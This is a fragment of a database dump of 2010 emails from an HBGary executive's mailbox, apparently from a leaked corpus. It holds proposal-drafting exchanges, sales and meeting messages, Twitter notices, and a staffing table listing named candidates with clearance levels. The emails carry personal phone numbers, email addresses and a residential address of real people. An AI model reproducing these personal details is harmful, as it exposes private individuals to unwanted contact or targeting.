receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',9594,'aaron_hbgary_com/9594.html'),(10410,'2010-08-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008113.M613760P14101Q5265.eml','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','Re: sections','Thanks.\r\n\r\nWhat do you think of my approach of focusing on Threat Intelligence, Incident Response, and Security Technology Implementation as an interconnected framework.  The good doctor called this boilerplate and overly technical and that we had to bring it up to the 30,000ft level and describe that we know how this fits within a larger technical reference model, blah blah blah.\r\n\r\nPersonally I find this both frustrating and comical because to my knowledge I have not seen anyone succinctly represent cyber security in this model before.\r\n\r\nBut I value your opinion (unlike some others).  Is my model to off norm or is it the right model for the right time given that none of the current models are working well in SOCs.\r\n\r\nAaron\r\n\r\nOn Aug 16, 2010, at 1:52 PM, Winterfeld, Steven P (TASC) wrote:\r\n\r\n> Good start, here are my comments \r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, August 16, 2010 9:49 AM\r\n> To: Winterfeld, Steven P (TASC)\r\n> Subject: sections\r\n> \r\n> I have the overall solution as well as the technical services section.\r\n> \r\n> Please review and comment.  Some data is sparse in the tables.  If you\r\n> can help fill some in great.\r\n> \r\n> Also I need past performance to fill out the following table related to\r\n> each function.  Who can do that?\r\n> \r\n> \r\n\r\n',4660,'aaron_hbgary_com/4660.html'),(10411,'2010-08-16','\"Richardson, Toby\" <toby.richardson@fidelissecurity.com>','/aaron@hbgary.com/new/1297008113.M885309P14101Q5266.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Fidelis','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n&nbsp;\r\n\r\nDo you have 30 mins for a call either of the next 2 days?&nbsp;\r\nWill Irace, included on this thread, is the SE for Broadcom and I wanted to\r\nbring him into the loop of our discussion.\r\n\r\n&nbsp;\r\n\r\n-tr\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n++++++++++++++++++++++++++++++++++++++++++++++++\r\n\r\nDirector, West Region\r\n\r\n214.505.3136 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, August 10, 2010 11:31 AM\r\nTo: Richardson, Toby\r\nSubject: Re: Fidelis\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHi Toby,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI am excited about this. &nbsp;I think we can do this for\r\naround 30K for the 30 days. &nbsp;Does that sounds reasonable or doable to you?\r\n&nbsp;I would like to talk again to makes sure I am clear on your constraints,\r\nobjectives, etc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 6, 2010, at 4:28 PM, Richardson, Toby wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIt\r\nwas great talking to you this morning.&nbsp; I look forward to working with you.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-tr\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nToby Richardson\r\n\r\n\r\n\r\n\r\n\r\nDirector, Western Region\r\n\r\n\r\n\r\n\r\n\r\n&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFidelis Security\r\n\r\n\r\n\r\n\r\n\r\nDallas, Texas\r\n\r\n\r\n\r\n\r\n\r\nPhone:&nbsp; 214.505.3136\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nhttp://www.fidelissecurity.com\r\n\r\n\r\n\r\n\r\n\r\n&lt;image001.jpg&gt;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSee It in Action: Fidelis XPS&#8482;&nbsp;Latest Threat Migitation\r\nFeatures\r\n\r\n\r\n\r\n\r\n\r\nRead All About It:&nbsp; Fidelis XPS&nbsp;Prevents Advanced Cyber\r\nThreats\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3108,'aaron_hbgary_com/3108.html'),(10412,'2010-08-16','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008114.M648056P14101Q5268.eml','BSmern@aol.com,Greg@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,BSmern@aol.com','RE: Brian Buckley\'s 8/5 event on hospital cybersecurity; new DARPA research project','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nBarry,\r\n\r\n&nbsp;\r\n\r\nI&#8217;m thinking the best approach will be for you to work with Aaron\r\nBarr, CEO of HBGary Federal.&nbsp; This is a sister company that is better\r\nstructured for going after services work such as DARPA.&nbsp; HBGary, Inc. is geared\r\ntoward selling commercial software and packaged security services.\r\n\r\n&nbsp;\r\n\r\nOhio lives in my heart.&nbsp; Go Tribe, Cavs and Browns! &nbsp;But these\r\nteams appear to be suffering.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: BSmern@aol.com\r\n[mailto:BSmern@aol.com] \r\nSent: Monday, August 16, 2010 12:42 PM\r\nTo: Greg@hbgary.com\r\nCc: bsmernoff@alum.mit.edu; bsmern@aol.com; bob@hbgary.com\r\nSubject: Brian Buckley\'s 8/5 event on hospital cybersecurity; new DARPA\r\nresearch project\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp; \r\n\r\n\r\n\r\n16 August 2010\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nGreg,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOur team is undertaking a new DARPA research project on cybersecurity,\r\nand I would like to&nbsp;speak with you regarding a collaborative opportunity\r\nwith HB Gary Inc. in this project.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBy speaking with FBI special agent Brian Buckley, I\'m familiar\r\nwith the&nbsp;August 5th meeting&nbsp;he organized for hospital and medical\r\npersonnel concerned with cybersecurity.&nbsp; And I know that&nbsp;Peter\r\nYellowlees, MD from UCD\'s medical center was&nbsp;quoted&nbsp;saying\r\nthat&nbsp;they&nbsp;block 200 cyber-intrusions per hour and&nbsp;thwarted ~1\r\nmillion cyberattacks this year.&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThese large numbers really surprise me, and I\'m wondering what the\r\ncomparable cyberattack statistics are for the national VA\r\nsystem.&nbsp;&nbsp;Brian Buckley tells me that VISTA is relatively\r\nvulnerable...We will be working with the VA and TRICARE military health systems\r\nwhich together cover 16 million beneficiaries.&nbsp; The technology component\r\nof our project focuses on how hospital cybersecurity might be made much more\r\neffective as the Obama administration spends billions of dollars on health IT\r\ninfrastructure modernization.&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCan we please arrange a telephone conversation today or\r\nTuesday?&nbsp; Or should I begin this discussion with Bob Slapnik since he\r\ndeals with government-related business development (and has 2 degrees from Kent\r\nState Univ, like my office also located in northeast Ohio)?&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks very much -- Barry\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBarry J. Smernoff, PhD\r\nAlphaOmega Collaboration LLC\r\n23533 Wimbledon Road\r\nShaker Heights, OH 44122\r\n(216) 410-5477 BlackBerry mobile\r\nbsmernoff@alum.mit.edu \r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3075 - Release Date: 08/16/10\r\n02:35:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15191,'aaron_hbgary_com/15191.html'),(10413,'2010-08-16','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008114.M875847P14101Q5269.eml','\"Aaron Barr\" <aaron@hbgary.com>','Is meeting at this location?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nManTech International Corporation\r\n\r\n&nbsp;\r\n\r\n2250 Corporate Park Drive, Suite\r\n500\r\n\r\n&nbsp;\r\n\r\nHerndon, VA 20171 \r\n\r\n&nbsp;\r\n\r\n(703) 674-2626 - phone\r\n\r\n&nbsp;\r\n\r\n(571) 485-2362 - e-fax\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5744,'aaron_hbgary_com/5744.html'),(10414,'2010-08-16','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297008114.M95335P14101Q5267.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: sections','Everything I said was be more specific (odd that I am 180 from the good\r\nDr.).  \r\n\r\nMy only concern is that it is understandable to our mom.  If you get a\r\nnon-tech to read it and tell you what you said in your email it is\r\nperfect.  \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, August 16, 2010 2:07 PM\r\nTo: Winterfeld, Steven P (TASC)\r\nSubject: Re: sections\r\n\r\nThanks.\r\n\r\nWhat do you think of my approach of focusing on Threat Intelligence,\r\nIncident Response, and Security Technology Implementation as an\r\ninterconnected framework.  The good doctor called this boilerplate and\r\noverly technical and that we had to bring it up to the 30,000ft level\r\nand describe that we know how this fits within a larger technical\r\nreference model, blah blah blah.\r\n\r\nPersonally I find this both frustrating and comical because to my\r\nknowledge I have not seen anyone succinctly represent cyber security in\r\nthis model before.\r\n\r\nBut I value your opinion (unlike some others).  Is my model to off norm\r\nor is it the right model for the right time given that none of the\r\ncurrent models are working well in SOCs.\r\n\r\nAaron\r\n\r\nOn Aug 16, 2010, at 1:52 PM, Winterfeld, Steven P (TASC) wrote:\r\n\r\n> Good start, here are my comments \r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, August 16, 2010 9:49 AM\r\n> To: Winterfeld, Steven P (TASC)\r\n> Subject: sections\r\n> \r\n> I have the overall solution as well as the technical services section.\r\n> \r\n> Please review and comment.  Some data is sparse in the tables.  If you\r\n> can help fill some in great.\r\n> \r\n> Also I need past performance to fill out the following table related\r\nto\r\n> each function.  Who can do that?\r\n> \r\n> \r\n\r\n',5045,'aaron_hbgary_com/5045.html'),(10415,'2010-08-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008115.M143070P14101Q5270.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Is meeting at this location?','YesSent from my iPhoneOn Aug 16, 2010, at 5:33 PM, &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nManTech International Corporation\r\n\r\n \r\n\r\n2250 Corporate Park Drive, Suite\r\n500\r\n\r\n \r\n\r\nHerndon, VA 20171 \r\n\r\n \r\n\r\n(703) 674-2626 - phone\r\n\r\n \r\n\r\n(571) 485-2362 - e-fax\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n \r\n\r\n \r\n\r\nNOTICE – Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on the taxpayer.  (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n \r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for   delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13448,'aaron_hbgary_com/13448.html'),(10416,'2010-08-16','\"Twitter\" <twitter-follow-federal=hbgary.com@postmaster.twitter.com>','/aaron@hbgary.com/new/1297008115.M369788P14101Q5271.eml','federal@hbgary.com','Rey E. Perez is now following you on Twitter!','\r\n\r\n  \r\n    \r\n      \r\n      \r\n      \r\n      \r\n        \r\n      \r\n      \r\n        Hi, HBGary Federal.\r\n\r\nRey E. Perez (reyeperez) is now following your tweets on Twitter. \r\n\r\n\r\nA little information about Rey E. Perez: \r\n\r\n\r\n  \r\n    \r\n    \r\n      \r\n        0 followers\r\n        0 tweets\r\n        following 12 people\r\n      \r\n    \r\n  \r\n\r\n\r\n\r\n\r\nYou may follow Rey E. Perez as well by clicking on the \"follow\" button on their profile.If you believe Rey E. Perez is engaging in abusive behavior on Twitter, you may report Rey E. Perez for spam.\r\nRey E. Perez may not appear in your follower list. Rey E. Perez may have decided to stop following you, or the account may have been suspended for a Terms of Service violation.\r\n\r\n\r\n\r\n  \r\n\r\n\r\n\r\n\r\n  \r\n  If you\'d rather not receive follow notification emails from Twitter, you can unsubscribe immediately. To resubscribe or change other Twitter email preferences, visit your account settings to manage email notices.\r\n\r\n\r\n\r\n  Please do not reply to this message; it was sent from an unmonitored email address.  This message is a service email related to your use of Twitter.  For general inquiries or to request support with your Twitter account, please visit us at Twitter Support.\r\n\r\n\r\n\r\n\r\n      \r\n    \r\n  \r\n\r\n\r\n',11991,'aaron_hbgary_com/11991.html'),(10417,'2010-08-16','BSmern@aol.com','/aaron@hbgary.com/new/1297008115.M648809P14101Q5272.eml','bob@hbgary.com,Greg@hbgary.com,aaron@hbgary.com,ted@hbgary.com,bob@hbgary.com,Greg@hbgary.com','Re: Brian Buckley\'s 8/5 event on hospital cybersecurity; new DARPA research pjt','\r\n\r\n\r\n\r\n\r\n16 August\r\n&nbsp;\r\nHi Bob,\r\n&nbsp;\r\nThanks for your rapid response.&nbsp; Can you please give me Aaron\'s \r\ncontact information so we can&nbsp;try to connect during the next few \r\ndays?\r\n&nbsp;\r\nSince I didn\'t attend the August 5th event at UCD on hospital \r\ncybersecurity, and FBI special agent Brian Buckley praised Greg\'s PPT \r\npresentation as being VERY good, any chance I can get a copy of this PPT via \r\nemail from Greg or you?&nbsp; This would be much appreciated.\r\n&nbsp;\r\nI hear you about Cleveland-based sports teams.&nbsp; Working together with \r\nyou would constitute the dynamic duo of two BS people -- sounds pretty dangerous \r\nto me!&nbsp; \r\n&nbsp;\r\nCheers -- Barry\r\n&nbsp;\r\nBarry \r\nJ. Smernoff, PhDAlphaOmega Collaboration LLC23533 Wimbledon \r\nRoadShaker Heights, OH 44122(216) 410-5477 BlackBerry \r\nmobilebsmernoff@alum.mit.edu \r\n&nbsp;\r\n\r\nIn a message dated 8/16/2010 5:21:00 P.M. Eastern Daylight Time, \r\nbob@hbgary.com writes:\r\nAaron \r\n  Barr\r\n',5002,'aaron_hbgary_com/5002.html'),(10418,'2010-08-16','\"Twitter\" <twitter-follow-federal=hbgary.com@postmaster.twitter.com>','/aaron@hbgary.com/new/1297008115.M931718P14101Q5273.eml','federal@hbgary.com','Ghetto (????) is now following you on Twitter!','\r\n\r\n  \r\n    \r\n      \r\n      \r\n      \r\n      \r\n        \r\n      \r\n      \r\n        \r\n  Ghetto (????) (@ghetto2199) is now following your tweets (@HBGaryFed) on Twitter.\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n    \r\n    \r\n      Ghetto (????)\r\n      @ghetto2199\r\n      \r\n        iphone:35.727173,139.910982\r\n\r\n      \r\n    \r\n  \r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n        1,081\r\n        450\r\n        171\r\n\r\n    \r\n    \r\n      tweets\r\n      following\r\n      followers\r\n\r\n    \r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n    Ghetto (????) is only sharing tweets with approved followers.\r\n  You do not follow Ghetto (????).\r\n\r\nWhat\'s Next?\r\n\r\n  \r\n    &bull;\r\n    Find out more about Ghetto (????) on @ghetto2199\'s profile page.\r\n  \r\n    &bull;\r\n    Send Ghetto (????) an @ reply.\r\n  \r\n    &bull;\r\n    Send Ghetto (????) a direct message.\r\n  \r\n    \r\n    On your mobile? Learn Twitter for Mobile.\r\n  \r\n  \r\n\r\n  If you believe Ghetto (????) is engaging in abusive behavior on Twitter, you may report Ghetto (????) for spam.\r\n\r\n\r\n  \r\n\r\n\r\n\r\n\r\n  \r\n  If you\'d rather not receive follow notification emails from Twitter, you can unsubscribe immediately. To resubscribe or change other Twitter email preferences, visit your account settings to manage email notices.\r\n\r\n\r\n\r\n  Please do not reply to this message; it was sent from an unmonitored email address.  This message is a service email related to your use of Twitter.  For general inquiries or to request support with your Twitter account, please visit us at Twitter Support.\r\n\r\n\r\n\r\n\r\n      \r\n    \r\n  \r\n\r\n\r\n',8291,'aaron_hbgary_com/8291.html'),(10419,'2010-08-16','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297008116.M228187P14101Q5274.eml','aaron@hbgary.com,\"Bruce Friedman\" <bruce.friedman@ngc.com>,\"John Fanguy\" <jfanguy@digitalmanagement.com>,jwootton@palantir.com,\"Kirby Kintner\" <kkintner@digitalmanagement.com>,\"Martin Fertal\" <Martin.Fertal@TASC.com>,msteckman@palantir.com,patricia.krajeski@tasc.com,\"Paul Meaney\" <paul.meaney@ngc.com>,paul.kuttner@tasc.com,rob.wilson@telos.com,robert.sanderson@telos.com,sondra.spalding@tasc.com,ted@hbgary.com,tom.leahy@telos.com,tom.ryder@telos.com,\"William E. Miller\" <wmiller@digitalmanagement.com>,\"William Luti\" <wluti@digitalmanagement.com>','Need better/more resumes by end of Wed...only 60% compliant','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll-\r\n\r\n&nbsp;\r\n\r\nBelow are the current &#8220;best&#8221;\r\nslotting for personnel.&nbsp; Note we are missing 5 of the 14 key personnel. Of\r\nthe 50+ resumes we received, only a handful filled the key slots noted.\r\n\r\n&nbsp;\r\n\r\nI need you to reach back to\r\nyour staffing people tonight/first thing tomorrow, &nbsp;to work against the\r\nactual job descriptions &#8211; as many of the resumes were incredible but did\r\nnot meet the criteria.&nbsp; \r\n\r\n&nbsp;\r\n\r\nI&#8217;ve noted the most critical\r\nrequirements in the requirements below, but please be sure to refer your\r\nstaffing people to the Labor Categories pdf I&#8217;ve also attached.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  No.\r\n  \r\n  \r\n  ITSSS\r\n  Key Personnel Positions\r\n  \r\n  \r\n  Resume\r\n  Name\r\n  \r\n  \r\n  Years\r\n  Exp.\r\n  Req.\r\n  \r\n  \r\n  Clearance\r\n  Req.\r\n  \r\n  \r\n  Other\r\n  Requirements\r\n  \r\n \r\n \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  INFORMATION\r\n  ASSURANCE COMPLIANCE SECTION \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  1\r\n  \r\n  \r\n  Team Lead,\r\n  Certification &amp; Accreditation \r\n  \r\n  \r\n  Tim\r\n  Barone, Telos\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  Secret\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  2\r\n  \r\n  \r\n  Team Lead, Federal\r\n  Information Security Management Act (FISMA) \r\n  \r\n  \r\n  Mingyu\r\n  Lee, Secure Info\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  Secret\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  3\r\n  \r\n  \r\n  Team Lead,\r\n  Information Technology Training and Awareness \r\n  \r\n  \r\n  Casey\r\n  Fiscus, TASC\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  Secret\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  4\r\n  \r\n  \r\n  Information Systems\r\n  Security Officer\r\n  \r\n  \r\n  John Dianni, Secure\r\n  Info\r\n  Richard Galcyznski,\r\n  Telos\r\n  \r\n  \r\n  3-6\r\n  \r\n  \r\n  Secret\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n 